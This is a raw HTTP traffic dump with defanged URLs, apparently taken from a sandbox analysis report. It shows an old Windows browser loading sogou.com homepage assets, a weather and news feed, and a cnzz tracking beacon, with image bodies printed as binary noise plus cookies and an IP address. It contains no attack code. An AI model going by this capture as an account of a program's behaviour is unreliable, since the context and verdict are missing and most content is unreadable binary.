User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p0.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:30 GMT

Content-Type: image/gif

Content-Length: 4159

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:30 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
GIF89a..h..........R..J..Bs.S................r.....qq}a...............
........n..~..|..m..l..l..x..k..v..t..i..s.xa..n..l..k.ua..i..h..i.~f.
r`....wd.xd....rb....pa.nb.rf.vm.xp.xp}OJ..........l`.mb.pe.od.oe.wl.x
n.qg.~t.sj.sj.tk..|..}....SM.vn............wMIuLH.|v.}wmJG.......~yeHE
..|..................................................................H
??....................................................................
......................................................................
......................................................................
.................|||{{{zzzyyyxxxtttsssrrrpppmmmlllkkkjjj<<<..
......................................................................
......................................................................
....................!.......,......h........H......*\.......H.H.....3j
.....I.BJ......(S.\.....0].IdI.$K...T...O.....JTh.dH.*EZ..O....%j....J
.@1.....{[email protected].=;..].VA.8p..ms....x.5m../..;8.......u.........#[...N!
F.......g....&L.`2....T.....;vd.L8L./..g.......)..s.....]..=P......F}W
.@..)....v\4=bs..}w...J|._.>.r...?..].t.......B..)T.].n....g....B.&
....'!d....2.=W.2.Q..2.Y`...x....\(..I.....1.....`...L...s|...@R......
.|p...].2.Bl L...#8...l<.[.e..C.o.W..6.&..2.....E....U....).ZS!....
".p....%F.;[email protected]...^..........H..D....C.....B
u.bj ......b..d.......l.k...0F......8|Z...R.k.........A.sf...u6...wN[m
.;9..TS.u.VJ5..O..k.i.......$...............p..G,....j...g....w... ..q
...l..(..r.$_.qM .4.'1..J.6..r.pb<J*..<.-.............I.<
<<< skipped >>>

GET /imgn/v32/titlebg.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p0.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:31 GMT

Content-Type: image/png

Content-Length: 2842

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:31 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR.............b.......pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /imgu/2014/05/20140526163242_997.jpg HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p0.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:35 GMT

Content-Type: image/jpeg

Content-Length: 6150

Last-Modified: Mon, 26 May 2014 08:32:42 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:35 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
......JFIF.............0Exif..II*.......1...............VVV.meitu.com.
...C..................................................................
..C...................................................................
....=._...............................................................
}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUV
WXYZcdefghijstuvwxyz..................................................
......................................................................
......w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFG
HIJSTUVWXYZcdefghijstuvwxyz...........................................
.........................................?........WX.g.......]=.%.._..
........jTc.7a6.d..>..`..kK...o~.....!kI............a.e.......x,}:|
....1..2....j .W_12..........x#....2. :....%uJV.g.u....z.......[`.#Z..
...1.?.uC.BiJ2_y.(TI.E.... ......./......o.k.&...^.../.... ...$....%.H
Q.s...'k.z...\...J.y..o....=gM...k.h.BkK.t..P.........y..N....RWG...W.
..........Y....................G...~.fet.{.^....o.x..M...,.<.".....
....J..89[bcR.J/............?...>/.K...Vp.....N.....|.m<........
l.=....W.....>.1...\...Z.{.......!....X_..7W.o.....z;......\.'`#..}
..)...c. .q.....?....].Z.wh...B..m.G..W.........g..........~} .s..k(..
.....K..Q....g..)....:F.m..Q@...)..O...........N....|.1.8...>.. ...
..z..........O"B..:ds...s_I..X.U...'...L..:ma......n.....g.'.>(|,.D
.....5=*..K=...B..%.$....Vj..k.....y.J.1t.)9[.S...'.u......._..g.M.muM
>8....M........oj.3&..^..;..f4~......_......[L......h.....c...I
<<< skipped >>>

GET /imgu/2014/05/20140526151005_195.jpg HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p0.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:35 GMT

Content-Type: image/jpeg

Content-Length: 12242

Last-Modified: Mon, 26 May 2014 07:10:05 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:35 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
......JFIF.....d.d.....0Exif..MM.*.......1..............VVV.meitu.com.
...C..................................................................
..C...................................................................
....k._...............................................................
}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUV
WXYZcdefghijstuvwxyz..................................................
......................................................................
......w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFG
HIJSTUVWXYZcdefghijstuvwxyz...........................................
.........................................?...I...bw~..s.....7.........
.].T.a.<...H<..s-=M)..~.x=99.?.=.;.z./.W{......[.....| ....G..}.
....x.I.....k2.....]mC.....v...8nt.][.Z.........l..%...X.k...........y
!......9..Cy.{.......4.x..,u?{.N...'9.....u. ...S...;....'.......L|...
...u.....|,....F.&.MJk....0i:v...I...L.&...,..}..3\.?...._....V..7.C..
..[..?..p......Z.S.:4h.|...j{...C...............7._.~&.^[email protected]
.....'.~.m..iG[7....._i..\.....ys..[L..)..mJ....8.T.'Fp... }.....N>
p.z..&99....N......J..y...'..\4.{.~.~........g_........K..~..].C.e....
;.|/.G...a....[h.E.]X...~...).....as:xL<V*2.).s...'<.....N...S.l
v..c..\,c)...p.9.!...N.).s.... *O.S.*M........X.P...N.u*...}.)..#R...(
.p.>....w...5V3.9Bq.g.N...g....'.......1.3......:z....D9J.....g....
?......]..{.;......t.O"......<........A......{.Y..x...........C..@.
..1<zq.R...\.....*...fj.....jz........_O3...v..1f ..l..........
<<< skipped >>>

GET /v53/imgn/guide_tip.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: d.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:34 GMT

Content-Type: image/png

Content-Length: 10442

Last-Modified: Thu, 14 Nov 2013 11:00:56 GMT

Connection: keep-alive

Accept-Ranges: bytes
.PNG........IHDR.......J.......D.....tEXtSoftware.Adobe ImageReadyq.e&
lt;...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS5.1 Macintosh" xmpMM:InstanceID="xmp.iid:CEC0416D02FB11E388CB8B
2E3040A42A" xmpMM:DocumentID="xmp.did:CEC0416E02FB11E388CB8B2E3040A42A
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CEC0416B02FB11E3
88CB8B2E3040A42A" stRef:documentID="xmp.did:CEC0416C02FB11E388CB8B2E30
40A42A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>.Z....%<IDATx..].....&.(..."...ky.....
.f...7..........W@%.`..@A.*(...P..;K......E|..;g.....?[....>.<..
...........i......h-....@_~.. _&.2%...<..........k......w.d./.....U
 8..r./=|..9.{.P .IT.r.J.b].|...3|....../7....]1..=?..M]Y.f.....n...7l
.:w......Vk?.gkk 8.z..........ps...^p........P-....Z..._.6l.....KWWW.j
jj...........Q..P.~.|..Y..O......... .}...GI...3k..#......KS.....n..r.
rm..../.....'JUUU..aIT....V......4...]P.......M.....Y..xju6...2...|.o3
......?...>X\..V[[......}(//........o.CEM...f.N..Z.....O. ..7hU.qC=
p&/........@.|'gA.1.>.$....{@t..P...um..A..8..].v.;..D.b.]..ss.
<<< skipped >>>

GET /css/skin_.css?V=df HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: 123.sogou.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 26 May 2014 23:04:28 GMT

Content-Type: text/css

Content-Length: 21

Connection: keep-alive

Last-Modified: Tue, 20 Sep 2011 09:23:40 GMT

ETag: "4e785b9c-15"

Expires: Wed, 28 May 2014 08:12:32 GMT

Cache-Control: max-age=259200

Accept-Ranges: bytes
/* skin default */...HTTP/1.1 200 OK..Server: nginx..Date: Mon, 26 May
 2014 23:04:28 GMT..Content-Type: text/css..Content-Length: 21..Connec
tion: keep-alive..Last-Modified: Tue, 20 Sep 2011 09:23:40 GMT..ETag: 
"4e785b9c-15"..Expires: Wed, 28 May 2014 08:12:32 GMT..Cache-Control: 
max-age=259200..Accept-Ranges: bytes../* skin default */.......


GET //v53/get_123_v53.php?block=wt&ver=v53&gfg=1&city=unknown&pid=Af22014&c=1401145470591&method=ajaf&cbf=fn HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: 123.sogou.com

Connection: Keep-Alive

Cookie: ipt=0; SDUV=1401145470560_9086_00001; CKOR=6094_00001_00000; CKOD=6719_00000_00000; GOTO=Af22014

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 26 May 2014 23:04:29 GMT

Content-Type: text/javascript; charset=gbk

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: IPLOC=UA; path=/

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

X-Powered-By: PHP/5.1.6

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: max-age=0
e02..sg_wt_cb({"cn":["110100","北京"],"wt7":[["2014-05-27"
,2,"多云","cloudy.gif",19,33,"北风 4-5级
"],["2014-05-28",3,"晴","fine.gif",22,35,"微风"],["2
014-05-29",4,"多云","cloudy.gif",23,35,"微风"]
,["2014-05-30",5,"多云","cloudy.gif",23,35,"微ཇ
8;"],["2014-05-31",6,"多云","cloudy.gif",24,34,"微&#
39118;"],["2014-06-01",0,"多云转阴","cloudy.gi
f",23,30,"微风"],["2014-06-02",1,"阴","cloudy.gif",1
7,27,"微风"]],"city":"CN110100","ip":"193.138.244.231","md
":"05-27","week":"2","nongli":"四月廿九","tuan
mv":"","pm":73});tjv2_cb({"tj_utag":"00_01_08","data":{"news":[{"tab":
"\u5934\u6761","taburl":"http:\/\/123.sogou.com\/xinwen\/","list":[{"t
itle":"\u7518\u8083\u67d0\u5c40\u957f\u8ff7\u5978\u5973\u4e0b\u5c5e \u
5df2\u514d\u804c","picurl":0,"url":"http:\/\/news.sohu.com\/20140526\/
n400061084.shtml?pvid=7d0a16e31613c9e0","color":false},{"title":"\u7f8
e\u56fd\u76d1\u542c\u4e2d\u56fd\u9886\u5bfc\u4eba \u4e2d\u65b9\u67e5\u
5b9e","picurl":0,"url":"http:\/\/news.sohu.com\/20140526\/n400057351.s
html?pvid=7d0a16e31613c9e0","color":false},{"title":"\u66dd\u6f14\u545
8\u5e38\u94e0\u9716\u5f3a\u5978\u5987\u5973\u5e76\u62cd\u88f8\u7167","
picurl":2,"url":"http:\/\/sogou.v.ifeng.com\/mini\/5389832\/","color":
"red"},{"title":"\u6e56\u5317\u7834\u83b7\u6d89300\u591a\u4eba\u7279\u
5927\u4f20\u9500\u6848","picurl":0,"url":"http:\/\/news.qq.com\/a\
<<< skipped >>>

GET /images/weather/fine.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: 123.sogou.com

Connection: Keep-Alive

Cookie: ipt=0; SDUV=1401145470560_9086_00001; CKOR=6094_00001_00000; CKOD=6719_00000_00000; IPLOC=UA; GOTO=Af22014; SUV=00FA11CAC18AF4E75383C87E71570091

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 26 May 2014 23:04:31 GMT

Content-Type: image/gif

Content-Length: 1982

Connection: keep-alive

Last-Modified: Sun, 09 Oct 2011 10:21:07 GMT

ETag: "4e917593-7be"

Expires: Sun, 15 Jun 2014 06:24:24 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
GIF89a(.(.............................................................
......................................................................
......................................................................
...............&..`..m................................................
.....&..9..D..K..S..Y..h..v...........................................
............................!../..I..\..a..f..l..q..t..{..............
.............................................$..3..B..T..g..s.........
......................................................................
................I.....................................................
............%..8..C..Y..d..s......................................#..2
..Z..m.......................:..F..Y..{..z.....S..e..p................
....y......!.......,....(.(........H......*$......",.8.....#...P.....B
..j...8&b...D.. I(....... .<.....(^.iAb.G.%N.......8l.x......=.H%..
.. J.h...!^.zy..J....~......C.zY=.%..k..E.V...`..u........m....6i.f.j4
...g..i...C...!.0...5l.r..c...*[email protected]._....Cd..0~.t.....G.v.
.......?..Bu.W.*F..)3f..$G.h..f....ZP<..W.PDtAF.i8...K....\.w...P.M
19`...5.R.,VtQF...!..N..D.\.q..U...5.HA.x.E@.?..../.8bD.h....CP!..M...
.y.....H.K" [email protected]._....T.........{..G.pX!..S.`CX....7.83......
.e..f.d....p....W.2.6...C.....".....a(....Rad!h...&s8..$tX.AJ4..#E....
B.Yt...N.B..P....bdr...@2.$vP..6.....3.s..^.A..j..F!..A...d.G...2.$V4.
.9....A&.`.2Yp.G.K4...M.A. |`RI#..bJ..0.. ;xpP.?.bN-w`..zf....J..I.{X.
H)..".#u..L6..a.A'x.J<..a..G.2...l.I&.X.G(..L.#s.B./..p......(y
<<< skipped >>>

GET /stat.htm?id=5645354&r=http://VVV.mdtxw.org/miniindex/&lg=en-us&ntime=1401145507&repeatip=3&rtime=0&cnzz_eid=1411914640-1401145507-&showp=1276x846&st=7&sin=none&t=undefinedundefinedundefined&rnd=2018474965 HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/xinwen.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: hzs10.cnzz.com

Connection: Keep-Alive

Cookie: cna=pbYKDNgqDT8CAcGK9OfSQz54

HTTP/1.1 200 OK

Server: Tengine/1.4.1

Date: Mon, 26 May 2014 23:05:14 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Tue, 28 May 2013 02:57:17 GMT

Connection: close

Accept-Ranges: bytes
GIF89a.............!.......,...........D..;..

GET /imgn/v32/setskinbg.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p3.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:29 GMT

Content-Type: image/gif

Content-Length: 397

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:29 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
GIF89a................................................................
.......................................!.......,............%.di.Y..l.
bp,.tl.x..x.....G)....q.l:...dJ.Z...v..z...xL.....z.n....|N.....~.....
.......................\..............................................
.............................................................H......:X
......#Jd......3j...".. C..I....(G.FX.....,C..;HTTP/1.1 200 OK..Server
: nginx/1.4.1..Date: Mon, 26 May 2014 23:04:29 GMT..Content-Type: imag
e/gif..Content-Length: 397..Last-Modified: Wed, 20 Jun 2012 04:23:24 G
MT..Connection: keep-alive..Expires: Wed, 25 Jun 2014 23:04:29 GMT..Ca
che-Control: max-age=2592000..Accept-Ranges: bytes..GIF89a............
......................................................................
.....................!.......,............%.di.Y..l.bp,.tl.x..x.....G)
....q.l:...dJ.Z...v..z...xL.....z.n....|N.....~.......................
.....\................................................................
...........................................H......:X......#Jd......3j.
..".. C..I....(G.FX.....,C..;....


GET /imgn/v51/new-erweima2.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p3.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:31 GMT

Content-Type: image/png

Content-Length: 18683

Last-Modified: Mon, 08 Jul 2013 10:16:12 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:31 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR...,...,........"..H.IDATx....x.U..'.R.D.Q....*...]A.;
".".... 5$.%....I.=....^............?.I\2w.,......'..\....;..s....D...
...H.!.D..H$..D".I$.AH"..$.. $..B.... ...tuu..lcc..=.....}.6v.....S.wb
aa..Dv..[$.|..!.=..9.....d....;......[?w..M..'.l....[.....d.....U.. $.
.B.. $..B.. $..B.. $..B.. $......AH..!|....t.....:.?......c........gi.
....:::.s.p........{^.j.....~X..B1!...g..|.r.9..;W........J......yx>
;>>.sdB.....T..I.bgm.......~.Mu......V.....j....P4.d.........4n.
MEK..1...5.tjjj............O^.h.....F.<..:...!AH....!AH....!AH....!
A.~......yE.H.....!Ax..v..d..............j....U....*.%x..{d:.:.B.._vv.
........."l..$.......OSS...g....y..'......l......rrr..z.@(..3..T<.]
.B......!CT.Ph.d.U. ...2....,.p.....@$::Z.........x.T<A<..!AH...
[email protected].........(.....,l.k.
...7z..N.P^....O.....2R.!.qGA(..$.;.Y.........w[...C........l.qI....,!
AH....!AH.>x..t.@(..!Te%aGA...".....!..QY..Z....5..d....%$..B.. $..
B....N..[o.....^b6.>|.(.._..K?..#[email protected]...={V..
......VVV2/..o.).AOO.y....#?.}l.;Y.V. ...=L._...bqL'..Q*.W..3......J%.
..(AH....!AH....!AH....!AH....!A.i.".....i....G.yDx.......f.....m.....
[email protected].......]]]...N.y...P.ekx.T|P........B.....LK...
......X.....~...b......!AH....!AH....!AH....!AH....!AH....6.C....s...*
....k......2...7O....Lu.?....,..9Sx..b.tv...P.C.F...c....7..y......6l.
6...e6f..|....c(...N~P.F'A.E..A.X..:.(....'T*[email protected]..]G.!AH....!AH.
...!AH....!AH........n..<W.c...c.....&..w1.....{V....;.= .)hjjz
<<< skipped >>>

GET /imgn/sehome/tjv1/new-ico.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p3.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:35 GMT

Content-Type: image/png

Content-Length: 211

Last-Modified: Mon, 28 Jan 2013 11:52:04 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:35 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR.............&P......sBIT.....O.....PLTE...???.Mv.....
tRNS..[.".....pHYs.........B.4.....tEXtCreation Time.12/28/12...5....t
EXtSoftware.Adobe FireworksO..N....IDAT..c` .H..!...2.1_.......IEND.B`
.....


GET /imgn/sehome/tjv1/img-news.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p3.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:35 GMT

Content-Type: image/gif

Content-Length: 225

Last-Modified: Fri, 11 Jan 2013 08:57:48 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:35 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
GIF89a................................................................
.......................................!.......,..........^...dY"I"(..
.pl...$.0.|..6... .P..c..1....psF..TbZM......M${[email protected]
%.fD...)..#.!.;HTTP/1.1 200 OK..Server: nginx/1.4.1..Date: Mon, 26 May
 2014 23:04:35 GMT..Content-Type: image/gif..Content-Length: 225..Last
-Modified: Fri, 11 Jan 2013 08:57:48 GMT..Connection: keep-alive..Expi
res: Wed, 25 Jun 2014 23:04:35 GMT..Cache-Control: max-age=2592000..Ac
cept-Ranges: bytes..GIF89a............................................
...........................................................!.......,..
........^...dY"I"(...pl...$.0.|..6... .P..c..1....psF..TbZM......M${.S
[email protected]%.fD...)..#.!.;..

GET /favicon.ico HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Pragma: no-cache

Cache-Control: no-cache

Connection: Close

Host: 123.sogou.com

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 26 May 2014 23:04:37 GMT

Content-Type: image/x-icon

Content-Length: 1150

Connection: close

Last-Modified: Wed, 21 Sep 2011 09:58:33 GMT

ETag: "4e79b549-47e"

Expires: Sun, 15 Jun 2014 06:24:15 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
............ .h.......(....... ..... .....@...........................
........ddd.aaa.___.]]].[[[.XXX.VVV.UUU.............................ii
if............................VVV.UUUl....................}}}.........
............................fff.UUU................o..........v..t...q
..........................bbb.UUUQ....xxx...........F..o..............
.y............A.........VVV.UUU....v.........b...{...........}....!...
............ .....~~~.VVVT.........r#..o...w...v...h....E.............
.....w..........XXX..........W...q...h...y(...........................
....U.....[[[..........X...g....E..........................y......../.
....]]]..........g...[........................v..p............G.....__
_...........P..l...................b...o...~.......y..........aaa.....
.........^...............X...s...x...|...|...n..........ddd-..........
...................T...l...o...m...b..........~~~.....................
.................{6..o ...Z.............kkk...........................
..............................qqq............................&........
................... ..................................................
................................

GET /miniindex/images/b14.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/xinwen.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:14 GMT

Content-Type: image/jpeg

Content-Length: 40898

Connection: keep-alive

Last-Modified: Mon, 14 Apr 2014 07:49:40 GMT

ETag: "0c21517b657cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: HIT from chn-xa-th-sb1

Cache-Control: public, max-age=86400

Expires: Tue, 27 May 2014 23:05:14 GMT

Accept-Ranges: bytes
......JFIF.....H.H..... Exif..MM.*.............................b......
.....j.(...........1.........r.2...........i.................H.......H
....Adobe Photoshop CS Windows.2014:04:14 15:49:39....................
.................................................................&.(..
.......................................H.......H..........JFIF.....H.H
......Adobe_CM......Adobe.d...........................................
......................................................................
................................f...."................?...............
...........................................................3......!.1.
AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE..t6..U.e.....u..F'.....
..........Vfv........7GWgw........................5.....!1..AQaq"..2..
...B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te......u..F...............
Vfv........'7GWgw.................?.....N%.....Dj...V}../t.}..../...*.
KH.\7W.7t..9..>...............u............v..e. 8.......u~.....?..
... .Y[...m5...5..^.c..7{.......q>...[...'.....7.Y.....L.........L.
..K..8...).K.....:.........&..'....\.j.E.....G.-g2.t-...h....SE8....g.
.N.0..t...tQe.)....tm...k. .......ur>.....Lhm..[.#MWB.2K W>>.
?r.......v.=..D...`....S...}^..V..b.u.c.V..2.j&......=..\}.....Vh..G.k
mc...H./N..T.....m~...l;..i..r,kE..\.......3].....?..?1.c.8......e....
.j.DJ.....=......B.....z.G...62.X...4.......*wu....mk...~j..'.. .q.w.&
gt;. .4..9.>....W.F.o..'.i.y&.../c.P.K..gN..~T..2...D.LsOhU.gtB....
@.x.UNY*&.P..US...pn..W4...u[...b.<[email protected]
<<< skipped >>>

GET /miniindex/images/b18.JPG HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/xinwen.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:15 GMT

Content-Type: image/jpeg

